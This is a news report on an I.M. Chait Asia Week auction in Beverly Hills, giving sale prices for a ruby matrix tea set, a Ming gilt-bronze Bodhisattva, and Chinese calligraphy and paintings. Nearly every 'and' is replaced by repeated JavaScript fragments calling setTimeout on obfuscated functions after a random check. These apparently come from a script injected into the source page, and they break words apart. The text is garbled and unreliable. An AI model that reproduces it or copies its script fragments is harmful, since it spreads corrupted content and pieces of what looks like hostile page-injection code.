BEVERLY HILLS, CALIF. — While traditional Asian art categories held onto their most-favored status at I.M. Chait’s March 23 Asia Week auction, other buying trends were noted at the $2.36 million sale that would indicate collectors are exploring new avenues.

“Clearly, Asian art collectors are expandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding their horizons beyond the antique ceramics, jade andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bronze that have been so highly prized over the years,” said founder andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and auctioneer Isadore M. Chait. “A prime example is the 16-piece carved ruby matrix tea set that was entered in our auction with a $160/180,000 estimate. It was not just a tea set; it was a flawless artwork, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collectors recognized it as such. It sold for $219,600.”

Embellished with gilt mountings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and accents, the set included a covered teapot with a carved dragon inside, a chocolate/water pot, creamer, four-claw-foot shallow dishes, four dragon-form teacups, serving accessories andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a carved dragon centerpiece. A thick ruby zoisite freeform slab served as the tray.

The top lot of the sale was a Fifteenth Century early Ming dynasty Xuandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande mark andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and period gilt-bronze Bodhisattva. The 97/8 -inch figure elaborately decorated with cast “jewelry,” headdress andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other adornments was chosen as the cover image for Chait’s printed catalog. It reached the high end of its estimate range, selling to an online buyer for $350,000.

Another category that showed strength was Chinese calligraphic scrolls andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and art. A striking ink-on-paper calligraphy by Wu Changshuo (1844–1927), signed with four seals of the artist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one collector’s seal of Chongsog (Pyong-U-Min), was bid to $73,200 against an estimate of $15/20,000. Also having provenance from the prestigious Songwon collection was a Chinese calligraphic couplet by Zhang Daqian, signed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dated July 1978, with two seals of the artist, which soared past its $15/20,000 estimate to reach $67,100.

A serene Chinese landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape painting on silk by Pu Ru (1896–1963), ex Songwon collection, depicted craggy mountains, trees andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a figure navigating a boat. It more than doubled its high estimate to achieve $48,800.

“It was a very busy sale with a lot of action from all sources,” said Chait. “There was a good mix of nationalities among bidders, but most who prevailed on the higher-priced lots were from Asia. We were very pleased that so many people in the room had flown in specifically for the sale. Some had attended Asia Week in New York andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and made a special stop en route home just to attend. We anticipated this would be the case andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and left no stone unturned in producing an auction that would meet, if not surpass, their expectations.”

This is the second year in which I.M. Chait has chosen to conduct its Asia Week auction from its West Coast gallery rather than at a Manhattan venue. “It has worked extremely well for us, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and our clients have responded very favorably. We plan to continue this new policy going forward,” Chait said.

Prices reported include the buyer’s premium.

I.M. Chait’s Asian andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and international fine arts auction will take place on May 18. For information, www.chait.com, 800-775-5020 or 310-285-0182.